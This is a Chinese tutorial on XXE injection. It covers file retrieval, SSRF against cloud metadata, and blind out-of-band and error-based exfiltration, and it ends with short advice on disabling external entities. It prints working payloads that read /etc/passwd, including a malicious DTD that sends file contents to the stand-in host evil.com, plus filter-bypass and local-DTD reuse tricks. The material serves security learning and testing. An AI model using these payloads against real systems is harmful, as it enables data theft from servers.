文章目录
- 1.XXE介绍
- 1.1 XXE产生的原因
- 1.1.1 什么是XML?
- 1.1.2 什么是XML实体
- 1.1.3 什么是文档类型定义(document type definition)
- 1.1.4 什么是XML自定义实体
- 1.1.5 什么是XML外部实体
- 2.XXE攻击类型
- 2.1 利用XXE检索文件
- 2.2 利用XXE执行SSRF攻击
- 2.3 盲XXE
- 2.3.1 什么是盲XXE
- 2.3.2 利用OOB(OAST)技术检测盲XXE
- 2.3.3 带有过滤的XXE(XML参数实体绕过)
- 2.3.4 利用盲XXE数据外泄
- 2.3.5 通过错误信息利用盲XXE检索数据
- 2.3.6 重用本地(服务器)DTD利用盲XXE
- 2.3.6.1 定位需要重用的现有DTD文件
- 2.3.6.2 重用(重新定义)本地DTD来利用XXE检索数据(案例)
- 2.4 寻找XXE注入的隐藏攻击面
- 2.4.1 XInclude攻击
- 2.4.2 通过文件上传XXE攻击
- 2.4.3 通过修改Content-Type利用XXE
- 3.如何防范XXE
- 总结
1.XXE介绍
XML external entity injection,XXE是一个Web安全漏洞,允许攻击者干扰应用程序对XML数据的处理。
它通常允许攻击者查看应用服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。(即,实现类似于SSRF的内网探测和任意文件读取)
在某些情况下,攻击者可以利用XXE漏洞执行服务器端请求伪造(SSRF)攻击,从而升级XXE攻击,危及底层服务器或其他后端架构。
1.1 XXE产生的原因
有些Web应用程序使用XML格式在浏览器和服务器之间传输数据。这样做的应用程序实际上总是使用标准库或平台API来处理服务器上的XML数据。出现XXE漏洞是因为XML规范包含各种潜在的危险特性,而标准解析器支持这些特性,即使应用程序通常不使用它们。
1.1.1 什么是XML?
XML代表“可扩展标记语言”。XML是一种为存储和传输数据而设计的语言。
与HTML一样,XML使用标记和数据的树状结构。区别在于,XML不使用预定义的标记,因此可以给标记指定描述数据的名称。
在web历史的早期,XML作为一种数据传输格式很流行(“AJAX”中的“X”代表“XML”)。但是它的受欢迎程度现在已经下降,JSON格式取而代之。
1.1.2 什么是XML实体
XML实体是XML中一种表示数据项的方式,而非直接使用数据本身。XML语法规范内置了各种实体。即,XML通过对应的实体表示数据。
如,< > 分别代表< >
。这些是用于表示XML标记的元字符,因此当它们出现在数据中时,必须转义为对应的实体。XML实体必须以分号;
结尾
1.1.3 什么是文档类型定义(document type definition)
XML文档类型定义(DTD)包含一些声明,这些声明可以定义XML文档的结构、它可以包含的数据类型以及其它项。
DTD在XML文档开头的可选元素!DOCTYPE
声明。DTD可以完全包含在文档本身之中"内部DTD",也可以从其它地方加载"外部DTD"。
内部DTD:
<!DOCTYPE foo[<!ENTITY internal "内部DTD">]>
外部DTD:
<!DOCTYPE foo SYSTEM "external.dtd">
外部实体:
<!DOCTYPE foo[<!ENTITY xxe SYSTEM "URL">]>
SYSTEM
关键字用于引用外部DTD或声明外部实体。
1.1.4 什么是XML自定义实体
XML允许在DTD中自定义实体,如
<!DOCTYPE foo[ <!ENTITY myentity "my entity value"> ]>
这意味着在XML文档中引用&myentity;
实体的任何用法都将被定义的值"my entity value"替换。
1.1.5 什么是XML外部实体
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。
外部实体的声明必须使用SYSTEM
关键字,并且必须指定一个URL,从中加载实体的值。例如:
<!DOCTYPE foo[ <!ENTITY ext SYSTEM "http://normal-website.com"> ]>
该URL可以使用file://
协议,因此可以从文件中加载外部实体。例如,
<!DOCTYPE foo[ <!ENTITY readfile SYSTEM "file:///etc/passwd"> ]>
XML外部实体是一种自定义的XML实体,其定义的值是从声明它们的DTD外部加载的。从安全角度对外部实体非常感兴趣,因为它们允许文件路径或URL的内容来定义实体。
2.XXE攻击类型
XXE攻击有多种类型:
- 利用XXE检索文件,在外部实体的定义中包含文件内容,并在Web应用的响应中返回
- 利用XXE执行SSRF攻击,基于指向后端系统(内网)的URL定义外部实体
- 利用盲XXE通过OOB外泄数据,将敏感数据从Web应用服务器传输到攻击者控制的服务器
- 利用盲XXE通过错误消息检索数据,攻击者可以触发包含敏感数据的解析错误消息
2.1 利用XXE检索文件
要执行从服务器的文件系统中检索任意文件的XXE注入攻击,您需要通过两种方式修改提交的XML:
- 引入(或编辑)一个
DOCTYPE
元素,该元素定义一个包含文件路径的外部实体。<!DOCTYPE>
必须位于XML文档最开头(<?xml?>
声明之后,根元素之前)。所有实体声明必须在DTD部分完成,之后才能在元素内容中引用。 - 编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体。
对于真实的XXE漏洞,提交的XML中通常会有大量的数据值,其中任何一个都可能在应用程序的响应中使用。为了系统地测试XXE漏洞,您通常需要单独测试XML中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中。以下图为例,<productId></productId>和<storeId></stroeId>的传参都可以尝试xxe注入
2.2 利用XXE执行SSRF攻击
除了检索敏感数据之外,XXE攻击的另一个主要影响是它们可用于执行服务器端请求伪造(SSRF)。可以诱使服务器端应用程序向服务器可以访问的任何URL发出HTTP请求。这是一个潜在的严重漏洞,可能导致内网信息泄露。
要利用XXE漏洞执行SSRF攻击,需要①使用要攻击的URL定义外部XML实体,②并在数据值中使用定义的实体。
如果应用程序在响应中返回的数据值中使用定义的实体,那么将能够从应用程序响应中的查看URL响应,从而获得与后端系统的双向交互。如果没有,那么将只能执行盲SSRF攻击(这仍然可能产生严重的后果)。
如上图所示,左侧的URL是通过不断访问给出响应拼接的。右边的响应是从EC2元数据端点获取的IAM秘密访问密钥。
AWS为每个EC2实例提供一个内部的元数据服务,默认IP
http://169.254.169.254/
。用于查询实例自身的配置信息,
如:
实例ID、公网vps地址、安全组、IAM角色信息、用户数据、临时凭证等
2.3 盲XXE
2.3.1 什么是盲XXE
许多XXE漏洞实例是不可见的。这意味着应用程序不会在其响应中返回任何已定义的外部实体的值,因此不可能直接检索服务器端文件。
盲XXE仍然是可以检测并利用的,但是需要借助OOB技术来查找漏洞并利用它们泄露数据。有时还需要触发XML解析错误,在错误消息中泄露信息
- 触发带外网络交互,有时会在交互数据中泄露敏感数据。
- 触发XML解析错误,即错误消息中包含敏感数据。
2.3.2 利用OOB(OAST)技术检测盲XXE
(1)可以定义一个这样的外部实体:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://evil.com">]>
(2)在数据值(传参点)使用该定义的实体
如果XXE漏洞存在,服务器会向指定的URL发起HTTP请求,我们可以在服务器监视DNS查找和HTTP请求。
如下图所示,利用OOB,查看服务器是否发起DNS查询、HTTP请求。如图所示,恶意域名最好带上http://
协议名,否则可能会解析错误。
2.3.3 带有过滤的XXE(XML参数实体绕过)
有时,使用常规实体的XXE攻击会被阻止,这是因为应用程序进行了一些输入验证,或者正在使用的XML解析器进行了一些强化。
在这种情况下,可以使用XML参数实体。XML参数实体是一种特殊类型的XML实体,只能在DTD的其他地方引用。就目前而言,您只需要知道两件事。首先,XML参数实体的声明包括实体名称前面的百分比字符
<!DOCTYPE foo[<!ENTITY % xxe SYSTEM "http://evil.com"> %xxe;]>
定义参数实体只需要加%
,但是定义DTD需要在实体外面要写上%xxe;
其次,参数实体使用%
而不是&
字符来引用:
%xxe;
Step1:使用常规xxe注入,被拦截
Step2:使用参数实体定义的xxe,成功注入
2.3.4 利用盲XXE数据外泄
OOB检测盲XXE,并没有事实上的利用该漏洞。攻击者真正想要的目的是窃取敏感数据。
可以通过盲XXE漏洞外泄敏感数据,但需要攻击者在它们控制的服务器上托管恶意DTD,然后利用in-band XXE payload 调用外部DTD。
一个恶意DTD窃取/etc/passwd
文件信息的示例如下;
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://evil.com/?x=%file;'>">
%eval;
%exfiltrate;
这个恶意DTD执行如下步骤:
- 定义一个名为
file
的XML参数实体,包含/etc/passwd
的文件内容 - 定义一个名为
eval
的XML参数实体,其中包含另一个名为exfiltrate
的XML参数实体的动态声明。exfiltrate
实体将通过在URL查询字符串中向攻击者的Web服务器发出含有file
实体值的HTTP请求 - 使用
eval
实体,会导致执行exfiltrate
实体的动态声明 - 使用
exfiltrate
实体,以便通过指定的URL获取数据
注意:,SYSTEM
声明从外部加载的实体,但是eval是一个纯文本参数,它的值是一个字符串(动态声明的实体)。因此,eval不需要SYSTEM声明。%是十六进制的XML实体编码%,可以避免解析冲突
。
攻击者必须在控制的Web服务器上托管恶意DTD,通常是将其加载到自己的Web服务器上。例如,攻击者可能在以下URL提供恶意DTDhttp://evil.com/malicious.dtd
最后,攻击者必须向存在xxe漏洞的Web应用提交XXE payload:
<!DOCTYPE foo[<!ENTITY % xxe SYSTEM "http://evil.com/malicious.dtd"> %xxe;]>
这个XXE payload声明一个xxe
参数实体,然后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器加载外部DTD并内联解析它。然后执行恶意DTD中定义的步骤,将/etc/passwd
文件内容传输到攻击者的服务器。
注意:
此技术可能不适用于某些文件内容,包括/etc/passwd文件中包含的换行符。
这是因为一些XML解析器使用API在外部实体定义中获取URL,API会验证URL中出现的字符。
在这种情况下,可以用使用FTP协议而不是HTTP协议。有时,不可能泄露包含换行符的数据,因此可以将/etc/hostname
等文件作为目标
OOB带外盲XXE:
- 第一步,XXE外部实体注入的入口
- 第二步,在恶意网站托管恶意DTD数据,这个恶意实体能够完成数据的拼接外带(通过一个不回显的实体使用获取信息;然后通过另一个实体将其拼接到恶意URL上),第三个实体起到"中转"的作用,替换字符串为dns查询实体。
- 第三步,
XXE外部实体加载恶意实体->字符串替换实体->域名拼接查询实体
Step1:XXE的入口点,需要能加载外部实体(XML外部实体注入的核心)
Step2:外部实体,能够完成数据获取、数据拼接并dns请求。需要一个字符串替换实体,帮助其它两个外部加载实体完成操作。
这里注意(1)文件类型;(2)使用%replace;实体,执行oob实体的动态声明->执行file实体,并将结果拼接到URL;(3)执行%oob;实体,触发DNS查询或HTTP请求。(4)%=%
避免解析错误
Step3:恶意网站成功接收到请求,第一个为外部实体加载请求;第二个OOB的HTTP请求
2.3.5 通过错误信息利用盲XXE检索数据
利用盲XXE的另一种方法是触发XML解析错误,其中错误消息包含您希望检索的敏感数据。如果应用程序在其响应中返回结果错误消息,这将是有效的。
触发包含文件内容的XML解析错误的恶意DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % replace "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%replace;
%error;
(1)定义一个名为
file
的XML参数实体,包含/etc/passwd
的文件内容
(2)定义一个名为replace
的XML参数实体,其中包含另一个error
参数实体的动态声明。error
实体通过加载一个不存在的文件名来求值,该文件名包含file
实体参数的值。
(3)使用repalce
实体,导致执行error
实体的动态声明
(4)执行error
实体,通过加载不存在的文件,导致错误消息。错误消息会泄露敏感文件内容。
案例:
(1)尝试OOB盲XXE,URL不允许
(2)利用解析报错泄露信息,将%file;结果拼接到不存在的路径上
2.3.6 重用本地(服务器)DTD利用盲XXE
前面的技术可以很好地处理外部DTD,但它通常不适用于 DOCTYPE
元素中完全指定的内部DTD。
这是因为该技术涉及在另一个参数实体的定义中使用XML参数实体。即<!ENTITY % replace "<!ENTITY>">
根据XML规范,这在外部DTD中是允许的,但在内部DTD中不允许。当带外交互被阻止时,由于XML语言规范中的漏洞,仍然有可能触发包含敏感数据的错误消息。
如果文档的DTD混合使用内部和外部DTD声明,则内部DTD可以重新定义在外部DTD中声明的实体。当这种情况发生时,在另一个参数实体的定义中使用XML参数实体的限制就会放松。
此时,可以在内部DTD中使用基于错误的盲XXE,前提是他们使用的XML参数实体正在重新定义在外部DTD中声明的实体。
当然,如果带外连接被阻塞,那么外部DTD就不能从远程位置加载。相反,它需要是应用程序服务器本地的外部DTD文件。从本质上讲,这种攻击涉及调用恰好存在于本地文件系统上的DTD文件,并重新利用它以触发包含敏感数据的解析错误的方式重新定义现有实体。
举例来说:
假设文件系统位置/usr/local/app/schema.dtd
有一个DTD文件,这个DTD文件定义了一个名为custom_entity
的实体。攻击者可以提交如下所示的混合DTD触发包含/etc/passwd
文件内容的XML解析错误消息。
<!DOCTYPE foo[
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
DTD步骤解析:
(1)定义一个名为
local_dtd
的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容
(2)重新定义名为custom_entity
的XML参数实体,该实体已经在外部DTD文件定义。实体被重新定义为基于解析错误的XXE利用,用于触发/etc/passwd
文件内容的错误消息
(3)使用local_dtd
实体,用于解释外部DTD,包括custom_entity
实体的重定义值。这将产生错误消息。
2.3.6.1 定位需要重用的现有DTD文件
由于这种XXE攻击涉及重新利用服务器文件系统上的现有DTD,因此关键要求是找到合适的文件。这其实很简单。由于应用程序返回由XML解析器抛出的任何错误消息,因此只需尝试从内部DTD中加载本地DTD文件,就可以轻松地枚举它们。
可以看出,该方法是基于XML解析错误消息的XXE利用。只是不允许出网,所以加载访问恶意网站上的外部dtd。只能重用本地dtd。
举例来说:
使用了GNOME
桌面环境的Linux系统通常拥有/usr/share/yelp/dtd/docbookx.dtd
文件,其中包含一个叫做ISOmao
的实体。可以通过提交以下paylaod验证文件是否存在,如果不存在,XML解析会报错。
<!DOCTYPE foo[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
在测试了公共DTD文件列表以定位当前的文件之后,您需要下载该文件的副本并检查它以找到可以重新定义的实体。由于许多包含DTD文件的通用系统都是开源的,因此通常可以通过internet搜索快速获得文件的副本。
2.3.6.2 重用(重新定义)本地DTD来利用XXE检索数据(案例)
Step1:验证本地dtd文件是否存在
如果不存在,显示的错误信息(大多数网站可能不泄露)
Step2:已知存在ISOo
实体,通过重新定义本地实体的payload尝试
(1)重新定义本地DTD文件中的实体,(2)利用XML解析错误泄露敏感信息的payload只需要验证不同系统的local_dtd和custom_entity是否存在即可。
开源系统的信息是公开的,可以下载查看。
2.4 寻找XXE注入的隐藏攻击面
在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的正常HTTP流量包括包含XML格式数据的请求。
在其他情况下,正确的位置查找,也可能会在不包含任何XML的请求中发现XXE攻击面。
2.4.1 XInclude攻击
有些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析该文档。当客户端提交的数据被放入后端SOAP请求,然后由后端SOAP服务处理时,就会出现这种情况。
在这种情况下,无法进行典型的XXE攻击,因为无法在起始位置定义DOCTYPE
元素。
XInclude
是XML规范的一部分,允许从子文档构建XML文档。可以在XML文档的任何数据位置XInclude
攻击,因此可以在仅控制服务器端XML文档单个数据项的情况下,进行攻击。
要执行XInclude
攻击,需要引用XInclude
名称空间,并提供希望包含的文件路径,如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XInclude的payload是非常公式的
Step1:如图所示,看上去像是普通的POST参数提交
Step2:在传参点尝试XInclude
payload
当我们看到一个请求,尤其是API请求时。接受json并不代表一定不接受xml。检查一下总是好的(直接传入个实体试试%26entity;。
2.4.2 通过文件上传XXE攻击
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于xml的格式有办公文档格式(如DOCX)和图像格式(如SVG)。
如上传头像,希望接受JPEG或PNG,但是后端也能处理SVG图像。由于SVG格式使用XML,提交恶意SVG图像,就能达到利用XXE的隐藏攻击面。
(1)基准测试,看看头像上传的流程
(2)尝试上传svg图像,发现后端尝试解码,但是报错。因为只是修改jpg图像的后缀名,并没有svg图像的元数据
(3)构建一个含xxe注入的svg图像,可见格式是image/svg+xml
(4)上传该图像,发现漏洞利用成功。XXE的信息以文本形式展示在头像中
2.4.3 通过修改Content-Type利用XXE
大多数POST方法使用HTML表单生成默认的内容类型,如application/x-www-form-urlencoded
。有些网站接收这种类型,但是也能接收其它类型,如XML。
例如,一个普通请求:
POST /action HTTP/1.0
Content-Type:application/x-www-form-urlencoded
Content-Length:7foo=bar
可以尝试提交XML格式的请求
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果结果相同,那么说明Web应用程序允许在消息体中包含XML的请求,并将消息体内容解析为XML,那么只需将请求重新格式化为使用XML格式,就可以找到隐藏的XXE攻击面。
3.如何防范XXE
所有XXE漏洞的出现都是因为应用程序的XML解析库支持应用程序不需要或不打算使用的潜在危险的XML特性。防止XXE攻击的最简单和最有效的方法是禁用这些功能。
通常:
- 禁用外部实体解析
- 禁用
XInclude
的支持就足够了
总结
<!DOCTYPE>
的定义应该放在文档开头,<?xml?>
的后面- XML格式传输的每个数据点都应该尝试注入
- 核心还是基准测试,查看哪些功能点会有XML格式的传参
- 盲XXE数据外带:
(1)通过带外技术
XXE漏洞点加载恶意DTD(%loadDtd;);恶意外部实体能够完成(数据查询+数据带外,需要三个参数实体组合)
(2)通过XML解析路径报错
两者主要区别在于执行URL拼接的不同,以及信息泄露触发方式的不同
(1)是拼接到URL,触发dns查询或http请求,此外还可以触发FTP等协议
(2)是拼接到不存在的文件路径(没有?传参),通过XML路径解析错误泄露信息